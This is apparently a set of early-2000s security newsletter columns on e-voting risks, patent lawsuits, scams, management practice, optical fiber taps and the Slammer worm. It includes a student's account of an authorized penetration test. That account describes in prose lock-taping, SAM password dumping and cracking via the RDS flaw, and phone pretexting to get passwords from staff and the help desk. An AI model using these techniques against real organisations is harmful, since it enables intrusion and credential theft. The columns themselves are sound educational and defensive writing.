Rubin then analyses the voting platform, the communications infrastructure, social engineering, and specialized devices (by which he means "tamper-resistant devices, such as smart cards." He discusses in some detail how programmatic attacks (viruses, worms, denial-of-service [DoS] attacks) could easily alter election results. Just imagine the consequences of, say, carefully-written Trojan horse programs, targeted DoS attacks on particular precincts on election day; Rubin writes, "In some close campaigns, even an untargeted attack that changes the vote by one percentage point could sway the election." According to the notes in the source HTML for the document, that sentence was written a few weeks before the contested US presidential election of 2002. I strongly recommend Dr Rubin's paper as foundation reading for anyone interested in e-voting.

Finally, I direct your attention to the immensely valuable annotated bibliography on electronic voting prepared by Rebecca Mercuri, PhD, Professor of Computer Science at Bryn Mawr College. Dr Mercuri has a distinguished record of contributions to the technical analysis of electronic voting; her Web site (see below) has many pages of news, essays, pointers to other e-voting sites, lists of her own and other scholarly works on the subject, and even pointers to e-voting humor.

* * *

I hope that these two short articles will increase readers' interest in the trustworthiness of e-voting and that some of you will be able to contribute to a more informed discussion of this critically important issue in the future of representative democracy. I'm sure that I will be hearing from e-voting technology vendors clamoring for attention; if possible, I'll write a follow-up column with some of their remarks.

Penetration Testing (1): Physical Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Mark Fischer < mailto:Mark.Fischer@SecurityGuild.com > is a student in the first cohort of the Norwich University MSIA (Master of Science in Information Assurance) program. He has very kindly consented to share one of his essays with readers of this newsletter. The students' assignment was as follows: "Interview appropriate colleagues in your organization and discuss real cases of penetration or, if there have been none (or if your organization has never noticed any), discuss the possible consequences of hypothetical penetration scenarios. Briefly summarize the key points of your findings and speculations in the usual short essay of 1,000 ± 100 words." What follows is a lightly edited version of Mr Fischer's essay.

* * *

This report describes one of the penetration tests that I conducted on a client and identifies the vulnerabilities, viewed from the perspective of the attackers, that led to our success.

The target company is a large insurance company with hundreds of employees on multiple floors of a large high-rise office building. They have an established IT audit function and a small IT security staff. For brevity I will refer to the target company as Acme Corporation – with no offense to Wiley Coyote (whose dynamite and other attack tools always come from Acme) or to any real Acme Corporations.

My colleague and I were charged with examining both the physical security of the client and their internal network security. The first part was to determine how hard it would be for an outside attacker to gain access to the network. The second to see how well defended the network was against an outsider or insider attack. This was done with a minimum of knowledge on the part of the client to test their IT staff's ability to detect and respond to the attack. In this series of three articles, I'll summarize the three main aspects of this penetration: physical security, social engineering, and network security.

* Physical Security *

Gaining access to the physical spaces of the target was simple as they occupied about six floors of a high-rise office building. There was no security in the lobby and we could easily take the elevator to the right floors. The first thing we did was take the elevator to the highest floor and walk down the stairwell. At each floor we used a pieces of duct tape to disable the lock on the stairwell door. The door closed, but did not lock. That gave us continuing access after hours in the event the elevators locked at a certain hour (they did).

We grabbed some empty file folders with the company logo and stuffed some blank paper in them. Carrying those gave us some visual credibility – we must work there, we have Acme file folders, right? We encountered many people, but no one questioned us about our lack of

company ID badges.

Finally we plugged our laptops in and ran a few quick scans to get a feel for the network, what type of machines were there, what operating systems, etc. We didn't do any attacks, just reconnaissance. After that, dinner and a night of planning the network attacks.

* * *

Next time: network penetration

Penetration Testing (2): Network Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series of three articles, Mark Fischer < mailto:Mark.Fischer@SecurityGuild.com >, a student in the first cohort of the Norwich University MSIA (Master of Science in Information Assurance) program, has very kindly consented to share one of his essays with readers of this newsletter. The topic in that particular week was penetration tests, and Mr Fischer continues this time with how he and his colleague penetrated their client's networks.

* * *

The goals of our network attack were to start with only physical access to the network and attempt to gain access to their mainframes and selected NT and Novell servers. Our Rules of Engagement required us to consult with our point of contact after we identified possible targets so he could tell us which ones to focus on and which to avoid. This was done to prevent us from accidentally damaging their production systems and to help us focus on the most important servers. They had scores of NT servers and attacking all of them would take too much time (and money) so we worked with the client to focus on the ones that would provide the most value.

* Novell *

They had a Novell NDS tree with containers for each business unit. It was a legacy system used primarily for file and print services. Using standard tools like Pandora and CheckNull we were able to gain admin access to Novell system within a few hours. It was of limited practical value because almost no valuable information was stored on the Novell servers. We had control of the system, but it did not get us closer to the "crown jewels" we were after.

* Windows NT *

Acme was migrating to a Windows NT network and had a number of interesting applications running on them, including Internet Information Server (IIS) web servers, SQL Server database servers, and some specialized application servers. There was a large domain for file and print services, though not all of the servers were members of the domain.

We began with the domain controller. We were able to enumerate all the accounts and found a couple of accounts with trivial passwords (blank or same as the username). Unfortunately, they were all normal user accounts, not Administrator accounts. We enumerated more than a dozen Administrator accounts, but all had decent passwords on them.

We repeated the light reconnaissance procedure against the IIS and SQL servers and found that all the passwords on the servers were pretty good. No easy access this way. One of the intranet web servers was vulnerable to the Remote Data Services (RDS) vulnerability made famous by Rain Forest Puppy (rfp). We were able to dump the SAM and crack all of the passwords on that

server. One administrator account had the same password on all the web and SQL servers and we were able to gain control over all of them.

Unfortunately, that password was not the same as any of the domain admin passwords so we had to work another angle to get in there. Next we took a look at a server called W2KTEST, a Windows 2000 Server being tested by the IT staff. It was a stock W2K server running IIS 5.0, SMTP, etc. We dumped the accounts and found a local Admin account with a blank password, dumped the SAM and cracked the rest of the passwords. We found one username/password combination from W2KTEST that also worked on the domain. It was an admin account on the domain and with it we were able to dump the SAM and crack all of the passwords on the domain. Success!

* The Mainframe *

We reported our success with the web and SQL servers and the domain controller to our point of contact. We also wanted to talk to him about how we could use that information to go after the mainframe. Our plan was to install software keyboard taps on selected computers to capture people's mainframe passwords when they logged on using a 3270 emulator.

After a few hours of discussion on the subject over dinner we decided not to pursue that angle. Our contact had decided that he was comfortable that the approach would likely work but didn't want to assume the risks of us actually doing it. The mainframes were their lifeblood with tens of billions of dollars of policy information. Our contact pointed out that if we were to inadvertently cause a problem it would be his head on the chopping block and the entire security program would suffer. We all agreed that the prudent and professional thing was to leave the mainframe alone.

* * *

Next time: social engineering.

* * *

Penetration Testing (3): Social Engineering

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series of three articles, Mark Fischer < mailto:Mark.Fischer@SecurityGuild.com >, a student in the first cohort of the Norwich University MSIA (Master of Science in Information Assurance) program, has very kindly consented to share one of his essays with readers of this newsletter. The topic in that particular week was penetration tests, and Mr Fischer continues this time with how he and his colleague used social engineering on their client's personnel.

* * *

The last part of the pen test was to use social engineering against the employees and IT staff. We had two goals: to social engineer the password from users and to social engineer user passwords from the Help Desk.

* Password From Users *

To get the passwords from the users we took our company phone list to a vacant conference room and began "dialing for dollars." We spoke to five people, including the CEO's secretary and the head of the legal department. We said we were consultants working with the Help Desk to rebuild the user database and needed to confirm their user information. The typical conversation went like this:

Us: "Your name is Jane Smith"
Them: "Yes"

Us: "You are on the fifth floor north in the accounting group"
Them: "Yes"

Us: "Your phone extension is 4365"
Them: "Yes"

Us: "Your username is Jsmith and your password is 'aligator27'"
Them: "No, my password is 'HappyBunny'"

Us: "Thanks, that must be part of the database that was messed up. Have a good day"

We were able to collect passwords from four of the five people we spoke with. The only exception was a lady, Agnes (her real name!), who said "I have worked here for 27 years and I don't know you and I'm not going to talk to you on the phone. If you want to talk to me, come to my desk where I can see you" and then hung up the phone. We later learned that she then called Corporate Security to report the incident.

* Passwords From Help Desk *

Our last task was to social engineer user passwords from the Help Desk. To do this we went to a conference room at 4:50 pm. We selected a mid-level manager from the phone list and locked his account by entering three wrong passwords. I called the help desk person who unlocked the password. We deliberately locked the account again and called back. There was a frantic tone in my voice and explained that I still couldn't get on the system and important people were going to be in the conference room in about three minutes to see my presentation that I could not do because the stupid computer wouldn't let me in. I know I was typing the right password, but it wasn't working. The Help Desk person suggested that he could set the password to "password" but I would have to change it as soon as I could. I thanked him and hung up with a grin my face.

* Conclusions and Postscript *

This was in interesting pen test that demonstrates how interlocking good security is. They had good passwords on the domain but we were able to gain access by "daisychaining" from the TESTW2K server. From there we could have gone after the mainframe.

The story of our social engineering was printed in the next employee newsletter and was included as parts of future security training for employees.

The head of IT security later moved to another company and called me up from there to do pen testing and a good deal of other security work for them as well.

We saw Agnes in the restaurant the next day at lunch and sent over a large chocolate sundae to reward her for doing the right thing.

Security by Objectives

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I've been creating curriculum for the management module of Norwich University's Master of Science in Information Assurance (MSIA) program. Seminar Two of the six in the 18-month program consists of 11 weeks of study on foundation skills for IA managers, and Week Six is about management skills. In the module, one of the topics I put in is MBO -- Management by Objectives.

In a few words, MBO centers on the need and value of defining measurable objectives for a group. The theory is that unless we can measure performance and progress, our impressions of compliance with our goals will be too fuzzy and uncertain to motivate staff and to provide value to upper managers for strategic planning.

An important tool for MBO in the operations field is the service-level agreement (SLA). This agreement servers as a contract that defines acceptable service. For example, one can define the maximum acceptable rate of downtime for a network or the maximum acceptable response time for an application program. Knowing the limits is crucial for effective quality control; as staff see spikes or trends approaching the control limits, they can investigate the causes of irregular results or take action to correct appropriate factors before there's a serious problem. Without stated limits, people may wait until there's a disaster. When people rush around without a plan as they react to an emergency, everything is more expensive and more prone to error.

Applying MBO to information assurance, I'd say that it's not enough to use general terms like "be secure" or "protect information resources." I think that we should be using objectives such as "In the next three months, we will successfully prevent all unauthorized changes to our public Web server." We could use the concepts of SLAs to set a goal of ensuring a minimum available bandwidth for the network even in cases of denial-of-service attacks. Perhaps a good measurable objective might be "Find no more than 10% of all workstations logged on to the network after 8 pm every night." How about, "Identify no more than 10% of all passwords by running crack programs on the password file?" Or "Limit porn-surfing on corporate machines to a maximum of 20% of total bandwidth during working hours?" If you do penetration tests, then it should be possible to define reasonable measurable objectives and then test those using the pen-tests.

Thinking in behavioral and measurable terms sharpens our ability to identify trouble spots and weak points in our security measures. Here's a jingle you can set to music like the Burma Shave ads of the 1950s: "Sharpen up and apply MBO to IA today!"

Security By Walking Around

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the last article, I discussed security by objectives. In this follow=up, I want to draw parallels for information assurance (IA) to another management technique, management by walking around (MBWA).

When I worked for Hewlett-Packard in the early 1980s, I was particularly impressed by the practice of MBWA. Managers literally walked around the office, stopping off to chat with employees and with other managers. They picked up all sorts of valuable insights by watching what employees were doing -- as opposed to what got reported through more formal channels. Managers could discover practical problems faster than by waiting for disaster; they could forestall problems by listening to the people most likely to know what was wrong (or right) with specific clients, tasks, projects, units, departments or the whole company.

I remember the time when Steve, the systems engineering manager for all of HP Canada, came to the Montreal office to ask us "SEs" (an incorrect and now-abandoned term for technical support specialists, not all of whom were professional engineers) what we thought of a new programming tool we had been studying before its release. Steve sat on a desk with a bunch of us lounging on the floor, on chairs and on other desks in the big open work area of the Montreal office. We told him flatly that the product was terrible; the syntax was inconsistent and illogical, the number of bugs was unacceptable, and we would have a disaster in customer confidence if we released it in this state. I think it speaks to the power of the HP Way, the guiding principles of HP management, that Steve listened carefully and brought our comments back to headquarters for action. The remarkable thing is that we all felt absolutely confident that our gripes would be taken in the right spirit.

When we are working on security -- such a complex mixture of technology and human psychology -- I think that MBWA is a perfect approach to learning what's really happening in our organization. Walk around and listen carefully to uncensored comments from the people who are simultaneously trying to get their work done and to maintain information security. Then take action to fix the problems you find.

As a bonus, you get to tone up your legs, improve your blood pressure and use up the calories from that muffin you just ate.

Two Emerging Scams

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently learned of a two scams that everyone should know about.

Just to remind readers about the 4-1-9 scam (named for the laws in Nigeria that cover such frauds), the trick works by offering some dupe a portion of large sums of ill-gotten gains as a fee for participating in a money-laundering operation. Millions of dollars of currency are to be placed in the dupe's bank account; when the deposits have cleared, the dupe is to send most of the money back to the criminals, keeping millions for himself or herself.
The criminals always make it clear in their spam that they have acquired access to funds through dishonesty (bribes, profits skimmed from mines, money embezzled from government funds); no honest person would agree to have anyanything to do with such people.

In a variant of the Nigerian 4-1-9 scam reported in RISKS, a victim receives a cashier's check to deposit in a bank account in the US. After the bank informs the victim that the check has cleared, the criminals ask for part of the money to be returned to them. A few days later, the bank informs the victim that the cashier's check was a counterfeit. The money that was sent to the criminals is gone and is entirely the responsibility of the victim to replace if necessary.

Moral: don't try to get money for nothing. And don't deal with self-professed criminals.

* * *

Most readers probably know that e-gambling and e-porn sites have been implicated in fraudulent credt-card charges -- especially off-shore operations not subject to US jurisdiction.

In recent correspondence with a reader, I have learned of a new wrinkle: brazen demands for payment by pornography sites.

The reader wrote to me describing what appears to be a fraudulent demand for payment for alleged access to a porn site. The caller claimed that had provided pornography "to this computer" on a specific day. It turns out that my reader, a mom laid up that day and staying at home, knows for sure that no one was even using the computer, let alone surfing for porn. The caller, who was quite offensive, told her that "the teenager" must have done it and repeated his demand for $150 -- all without the slightest shred of evidence that the reader's family had anything to do with the issue. In a typical ploy used by criminals, the caller insisted on immediate payment "or he would turn the case over to a collection agency."

I wrote back that this business sounds like a total scam. Although I am not a lawyer and this is not legal advice (for legal advice, consult an attorney), it seems to me that without some evidence of a valid contract, the reader has zero obligation to pay anything to anyone making unsubstantiated allegations. And certainly no one should ever give their credit card information to any stranger via the phone for any reason.

The most preposterous claim is that the porn merchant was able to narrow down the source of the alleged usage to "your computer." Even if he has a record of the IP address of the alleged user's computer, how would he know the IP address of a computer in someone's house -- especially when most people using an Internet Service Provider are assigned dynamic IP addresses (they change for every session)? My bogosity alarm went off on that one too.

Finally, the whole situation sounds very fishy. I've never heard of a porn site offering porn on account: they ask for credit-card information _before_ showing naked ladies (or whatever). There have been documented cases where credit cards have been charged _after_ supposedly "free" access to naughty bits; the criminals count on victims' embarrassment to reduce claims.

I urged the reader to stand firm and to inform her local police if they have an Internet-frauds officer. She replied that she lives in Alaska but the porn merchants are in Georgia, so I suggested she contact the local FBI office to report what might be interstate wire fraud. There's a complete list of FBI offices at < http://www.fbi.gov/contact/fo/fo.htm >.

It's also possible that her family is the victim of identity theft; she should discuss that possibility with her FBI contact as well as with her credit-card providers and banks. In addition, there's a wealth of resources about ID theft at < http://www.consumer.gov/idtheft/ >.

But my advice remains to let them sue -- I'm sure they won't. Frausters work on percentages; if you resist, they leave you alone.

Patent Law (1): Introduction

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the first article in a short series looking at recent developments in patents affecting e-commerce techniques. Before looking at how patent law is being used to make companies pay license fees for commonly-used techniques, I want to start with a brief, non-technical overview of patent law in the USA. As always, I am required to notify you that I am not a lawyer and this is not legal advice. For legal advice, consult an attorney with appropriate expertise in this area of the law who is licensed to practice in your jurisdiction. [Note: People should use this formulation when discussing legal matters because it is against the law as defined in all states in the USA to give legal advice or to appear to be giving legal advice if one is not an attorney licensed for practice in a particular state by the appropriate state bar. For 81 pages of mind-boggling detail about this issue, see the American Bar Association Report listed in the reference section of this article.]

* * *

In what follows, I am summarizing information mostly from the textbook by Roy J. Girasa (see below), an excellent work that I use for the "CJ341 Cyberlaw and Cybercrime" course in the Department of Criminal Justice at Norwich University.

Patents were established in the US Constitution to support the progress of science and the useful arts. Patents (the word means "open") provide a limited time (currently 20 years in most cases) for exclusive right to use writings and discoveries by the owner of the patent; after expiration of the patent, the techniques are available to everyone without interference. The first Patent Act was passed in 1790; another in 1793; and an important revision (U.S. Code Title 35, abbreviated "35 USC") was passed in 1952 with changes added in 1995.

Section 101 of the Patent Act (35 USC §101) stipulates that patents may be granted only for new, useful and non-obvious processes, machines, manufacturing techniques, composition of materials or improvements. "New" is defined in 35 USC §102, which explicitly excludes patents if the subject of the patents is

* Previously known or used in US
* Patented or described in printed publication before filing
* In public use or for sale in US more than one year before filing
* Abandoned
* Not invented by the applicant
* Also invented by someone else at the same time
* Already patented by someone else.

In addition, a patent may be rejected if it is obvious to a person with ordinary skill in the art concerned. In this context, "art" means science, technology or technique. "Ordinary skill" is defined by the complex interplay of a hypothetical competent expert's awareness of all pertinent

prior art, the types of problems encountered, prior art solutions, the speed of technology change and the educational level of such experts.

* * *

In the next article in this series, I'll introduce a company that is using patents to generate revenue in an alarming way.

Patents (2): PanIP Has Rights

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a previous article, I have mentioned the use of patents as a way of generating revenue. As I wrote earlier, "Companies who receive or buy patents on commonly-used high-technology principles or protocols sue victims with deep pockets for large sums." I previously mentioned a company that sues large companies on this basis as a method of making money. Today I present a company that sues little companies.

PanIP, LLC < http://www.panip.com > describes itself as follows in its company background page: "PanIP, LLC is a technology development company that holds a number of United States and Canadian high-impact patents directed to Information Appliances, including multimedia public kiosks, personal computers, TV Set Top Boxes, TV video game consoles, and various workstations, as well as systems employed in such industries as E-Commerce, interactive financial transactions, and database search systems. There is also applicability to various methods for distributing, marketing or selling products and services where multiple search paths (i.e. - textual and graphical) are provided for retrieving information about the products or services that are to be sold or distributed. Several additional E-Commerce related patent applications are pending."

A detailed list of patents owned by this company is available at < http://www.panip.com/patents.htm >. On the whole, one can reasonable say that the patents cover methods of using information transmission and retrieval systems applicable to electronic commerce. In particular, the Canadian patent known as "Automatic Information, Goods, and Services Dispensing System (Canada '216)" whose complete text is available at < http://patents1.ic.gc.ca/details?patent_number=1236216&language=EN_CA > specifically addresses, "A system for automatically dispensing information, goods and services to a customer on a self- service basis including a central data processing centre in which information on services offered by various institutions in a particular industry is stored. One or more self-service information and sales terminals are remotely linked to the central data processing centre and are programmed to gather information from prospective customers on goods and services desired, to transmit to customers information on the desired goods or services from the central data processing centre, to take orders for goods or services from customers and transmit them for processing to the central data processing centre, to accept payment, and to deliver goods or services in the form of documents to the customer when orders are completed. The central data processing centre is also remotely linked to terminals of the various institutions serviced by the system, so that each institution can be kept up-dated on completed sales of services offered by that institution." [Note that Canadian spelling is used above.]

Think about this patent: does it not remind you unavoidably of what you did the last time you ordered a book on Amazon or bought something on e-Bay? Or any other commercial transaction on the Web?

* * *

In the next article in this series, we'll look at what PanIP has been doing with its patents. In the meantime, start thinking about your own organization's uses of intellectual property to which PanIP may claim the rights.

Patents (3): PanIP Exercises Its Rights

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article, I introduced the California-based firm PanIP, LLC < http://www.panip.com >, which owns many patents covering fundamental applications of information technology for e-commerce.

As of the end of November 2002, PanIP had so far sued a total of 50 small businesses for patent infringement since it was formed in March 2002. The lawsuits are based on PanIP's control of patents governing much of the mechanics of e-commerce. The complete list of known defendants is available at < http://www.youmaybenext.com/list.html >. The lawsuits have been launched in batches of 10 defendants per group. None of the defendants is located in California, thus imposing an obligation on the small business owners to travel to California for legal proceedings or to appeal for a change of venue. Although I am not a lawyer (and nothing I write or say can be construed as legal advice), existing precedents on the determination of venue imply that anyone who does business in a jurisdiction can be judged to have a presence in that jurisdiction; it is therefore unlikely that a defendant could successfully argue that having to contest the suit in a California court is unjust.

The first companies to be sued were asked for payments ranging up to $30,000. I interviewed Timothy Beere, creator of the youmaybenext.com Web site about this situation. He said, "Most of the companies in the first batch managed to get the demands reduced to around $5,000. Subsequent batches were sued for $5,000 each." As far as Mr Beere knows, PanIP practice has been to sue without first informing the victim of possible patent infringement. When Alan Dickson of Dickson Supply, one of the first victims, put up a Web site criticizing PanIP, he had to take down his Web site as part of his settlement agreement with PanIP. Tim Beere then registered the domain "panipdefendants.org" and promptly received a letter from PanIP's attorney threatening another lawsuit. When Beere put up his current Web site, "youmaybenext.com," he, his wife and the "PanIP Defense Group" were sued for trademark infringement, defamation and unfair competition. That lawsuit is still in process, but the judge rejected the plaintiffs' demand for a temporary restraining order to get their Web site shut down. Beere and the Defense Group are in the process of filing an anti-SLAPP counter-suit (a SLAPP is a "strategic lawsuit against public participation") against PanIP.

Based on questions framed by Tim Beere, I sent PanIP the following list of questions:

* Has PanIP ever discussed royalty payments with a company before suing it?

* Why has PanIP chosen to sue 50 small businesses instead of suing large businesses?

* Why has PanIP not sued any businesses in the state of California?

* Were the patents owned by PanIP ever used before March 2002 to establish royalty claims?

* Are there any e-commerce sites in the world that are not infringing PanIP's patents?

* How do PanIP principals respond to claims their patents are overbroad and should be overturned?

I would have liked to summarize the company's answers – and to send them the draft of this article to be sure that I was representing their answers accurately and completely – but regrettably, PanIP has never responded to any of my repeated attempts at communication despite my having sent them to PanIP using telephone messages, faxes, e-mail and U.S. Postal Service certified mail (which was received on December 21, 2002 according to the return card from the USPS). In the absence of their responses, readers will want to think about possible and plausible answers to these questions.

* * *

In my next article, I'll discuss the future of patent infringement litigation and why you should get involved.

Patents (4): Overly Broad E-Commerce Patents

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In previous articles in this series, I introduced the difficulties of small companies that are being sued or threatened with lawsuits on the basis of broad patents covering what is today known as e-commerce. In this column, I discuss the implications of such threatened lawsuits and why there should be a broad movement of resistance to overly broad patents.

As I understand the purpose of patents, they are intended to provide a benefit to the patent holders and to the public. Patents should be made public to improve business and technology as well as to enrich patent holders, not simply used to extract fees from people who have never had the opportunity to learn about the patented techniques. I think that buying overly broad patents from owners who inadequately publicized and enforced their own patents and then suddenly enforcing those patent rights is an unfortunate use of patent law with bad consequences for everyone except the patent holders.

Along with many other observers, I think that $5,000 payments demanded of small companies for alleged patent infringement are likely to be just a start to a longer-range plan. In addition to generating revenue, it seems to me that the threatened or actual litigation is also establishing legal precedents that will serve in future cases when patent holders attack larger victims. The obvious next step for such e-commerce patent holders is to tackle larger businesses, say those earning millions of dollars a year in profits. Patent holders could then demand larger payments, perhaps in the $100,000 range. However, the most likely targets in the long run are the big players in e-commerce, where license payments in the million-dollar range would be achievable.

If holders of overly broad patents are not stopped now, I think they will ultimately be suing companies like Amazon, e-Bay and Charles Schwab – precisely the class of target beloved by 15-year old denial-of-service script kiddies. However, the consequences of using overly broad patents as a basis for extracting fees from e-commerce participants are far more serious than a temporary denial of service: the threats of legal action could discourage countless businesses from going online in the future and the windfall profits could be in the many millions of dollars per year. Since companies habitually pass their expenses on to their customers, everyone doing business with the victims of this kind of legal coercion will end up paying to fatten the bank accounts of the owners of broad e-commerce patents.

OK, what should we do? Well first, _don't_ write to Tim Beere to offer encouragement in his fight against the e-commerce patent holders – the poor bloke is trying to run his small, growing chocolate company (currently they have sales of less than $5 million a year). The lawsuit and the Defense Fund have already taxed his available time and he and his wife are overwhelmed with thousands of supportive e-mail messages (there hasn't been a single critical e-mail). What you _can_ do to help is to support the Defense Fund by clicking on < http://www.youmaybenext.com/help.html > , where there's a link to the PayPal system so you can contribute by credit card. You can also send a check. You can see a list of the small-

business owners who are actively resisting legal pressures at < http://youmaybenext.com/fighting.html >.

Best of all, if you work for a big company – say in the Fortune 1,000 – send a copy of these newsletters about overly broad e-commerce patents to your corporate legal counsel and to your chief technology officer. I devoutly hope that large companies will join the fight against overly broad e-commerce patents and will successfully challenge and overturn such patent claims. The Patent Office has got to see common sense and stop handing out patents on broad, obvious tools and methods that are already in wide use. Victory in the current legal battles will help establish precedents in this fight. Otherwise, everybody that uses e-commerce – and that's probably every single one of you reading this column – may end up paying a form of taxation without representation to a new class of overlords of the Internet.

By the way, I gave the Defense Fund a personal donation – and ordered a box of chocolates for my wife through < http://www.debrand.com/ > for good measure. They were excellent chocolates.

Fifth Annual Infrastructure Protection Conference

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Regular readers will know that every year since 1999, Norwich University has organized an infrastructure protection conference in the tiny town of Northfield, Vermont. The Fifth Annual e-protectIT Conference will take place on Tuesday through Thursday the 25-27 March 2003.

COL Thomas H. Aldrich, USA (RETD), President of the newly mandated National Center for the Study of Counter Terrorism and CyberCrime in Northfield has written, "This year's conference theme is the collaboration of government, industry and academia in protecting our critical infrastructures. The goal is to bring together key sectors of society to improve security in an increasingly connected world."

As program chair, I am delighted to announce that we have another exciting lineup of two-day workshops for you:

* COL Philip Susmann, Norwich's CIO and Vice President of Technology and Strategic Partnerships, will be teaching the two-day INFOSEC Basics course. Phil is a superb teacher much appreciated for his depth of knowledge in the field and his ability to explain security concepts clearly and dynamically. I recommend his course for colleagues of readers who may need an introduction to information assurance.

* Peter Stephenson is well known as the author of countless publications in digital forensics investigations and other aspects of information security; he is an Adjunct Professor in the Master of Science in Information Assurance (MSIA) at Norwich. His two-day advanced tutorial on computer forensics is sure to be as great a hit as last year's course.

* As usual, I'll be offering a tour of the last 12 months of developments across the entire field of information security in my INFOSEC Update course, which usually has a workbook about 300 pages long that offers participants an opportunity to discuss a wide range of topics such as recent attacks, new vulnerabilities, emerging security-management issues and developments in computer law.

After the workshops, we have a one-day colloquium on Thursday the 27th of March packed with information and stimulating ideas:

* The colloquium opens with GEN Alfred Gray USMC (RETD). GEN Gray served in the US Marine Corps for 41 years; he was a member of the Joint Chiefs of Staff and Commandant of the Marine Corps among other high responsibilities. GEN Gray will speak on "The State of Information Security in a Time of War."

* Writer, theorist and gadfly Winn Schwartau will speak on "Active Defense: Testing, Simulation and War Gaming."

* Security guru William H. Murray's topic is "Real World Security: Report from the

Trenches."

* Our lunchtime speaker will be Dan Wolf, Director of the Information Assurance Directorate at the National Security Agency; his topic is "Active Defense in the Age of Counterterrorism."

* LTC Dan Ragsdale, PhD, Professor of Electrical Engineering and Computer Science at the United States Military Academy at West Point will speak on "Intrusion Detection Systems and Application Firewalls.

* Adam Golodner, Associate Director for Policy at the Institute for Security Technology Studies (ISTS) at Dartmouth College, will review some of the exciting and innovative security research being carried out at the Institute.

* Finally, BGEN John C. Koziol, Deputy Director, Intelligence, Surveillance and Reconnaissance and also Deputy Chief of Staff, Air and Space Operations, U.S. Air Force will close the conference with thoughts on information assurance in today's military environment.

Please visit our Web site at http://www.e-protectIT.org for full details of the conference. Potential sponsors should note that we are keen on enlisting your support in continuing to keep our registration fees ridiculously low.

Optical Taps

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Security experts have known for decades that fiber optic cabling can be tapped for interception of communications; however, such taps have been viewed as largely impractical. Until recently, the equipment was expensive and the number of fibers in the cables made it difficult to narrow down captured transmissions to a particular connection. In addition, physical interruption of the fibers could be detected using time-domain reflectometry, making such taps hard to conceal. It was also known that teasing apart the fibers and bending them in a tight curvature would allow escape of a small portion of the signal without revealing the data interception. Nonetheless, fiber optic cabling was viewed as largely secure against wiretaps.

I recently received an interesting paper on recent developments in optical fiber taps from Seth R. Page, CEO of Oyster Optics, Inc., a provider of optical security, monitoring and intrusion detection solutions < http://www.oysteroptics.com >. He has very kindly permitted me to quote from his paper. Mr Page writes that the situation has changed:

"For both public and private networks, optical taps and analytic devices are required and inexpensive maintenance equipment in common use worldwide today. Various types of optical taps, however, both off-the-shelf and customized, are also used for corporate espionage, government espionage, network disruption and other potential terrorist-type activities. Used nefariously, optical taps allow access to *all* voice and data communications transiting a fiber link. Modern commercial network equipment and network configurations cannot detect most types of optical taps. . . .

Optical taps that are used illicitly to garner information are most often placed in the access or local loop for a number of reasons. Firstly, 100% of all information entering and exiting a building, campus or local area can be obtained by tapping between the customer premise and the first network switching node or central office, from where it might then otherwise get switched along divergent routes. Secondly, network configurations, bandwidth and speeds are more manageable towards the edge of the network, implying less expensive equipment and a simpler penetration. Thirdly, opportunities for direct access to fiber are easier to locate, simpler to identify and more plentiful in the public and private spaces that provide such fiber-routes. Such spaces include: telco closets; cages; risers; basements; conduits; car garages; drop-down tile-ceilings; and pathways in subways, tunnels and across bridges, to name few.

A successful tap can be achieved with merely an optical tap, packet-sniffer software, an optical/electrical-converter and a lap-top. Packet-sniffer software filters through the packet headers, only extracting those packets which match a specific telephone number, IP-address or other characteristic. Gathered information is then stored locally or forwarded to the intruder through various mechanisms, including wireless, another optical or copper line, another wavelength or channel, or other means."

Clearly, physical protection of optical transmission media and junction boxes is essential; in addition, data encryption plays a role in protecting sensitive data. Mr Page points out that

encryption can add cost, performance and compatibility problems to data communications and cannot help to identify the existence of a tap. Therefore, his company has apparently developed methods for helping to protect optical data transmissions against such taps and to spot the existence and location of the taps quickly. I haven't seen the details yet, but anyone interested in these issues is welcome to write to Seth Page directly at < mailto:seth@oysteroptics.com >.

Dr Slammer, or How I Learned to Love Downtime

Network World Fusion Security Newsletter by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My friend and colleague Jim Reavis recently sent me the latest issue of his _CSOinformer_ security newsletter and I was so taken by his comments on the recent Slammer incident that I asked him for permission to republish it here. He has very kindly allowed me to print the following essay (lightly edited) from his excellent publication. "I" refers to Jim, so please direct your praise (or abuse) to him < mailto:jim@reavis.org > with a copy to me < mailto:mkabay@norwich.edu > when responding to any controversial bits below.

* * *

The Slammer (or Sapphire) worm has come and is mostly gone. This worm halted the Internet in many parts of the world and stopped many critical business functions within corporations. How do I grade the players in this latest saga? Let's take a look:

* Microsoft: B-. Seriously, how much blame can we ascribe to Redmond when they released a security advisory six months before the attack, complete with a patch for the affected SQL Servers? They cannot get an "A" because they released the insecure product in the first place; they get the minus for having a lot of security advisories to wade through and for making the process for patching computers so painful, as I'll discuss at the end of this column.

* Information Security Industry: D. If there is going to be an information security industry in the long run, these are the moments in which it needs to shine. Vulnerability assessment companies can claim that they warned you, but they didn't do too much to help you. Many companies claimed that they could help – the next time Slammer attacked. There were some very good examples of smaller companies who trapped Slammer with anomaly detection technology or prevented it with patch management. But the big guys – the security companies most of us have standardized on - seemed to have very few answers.

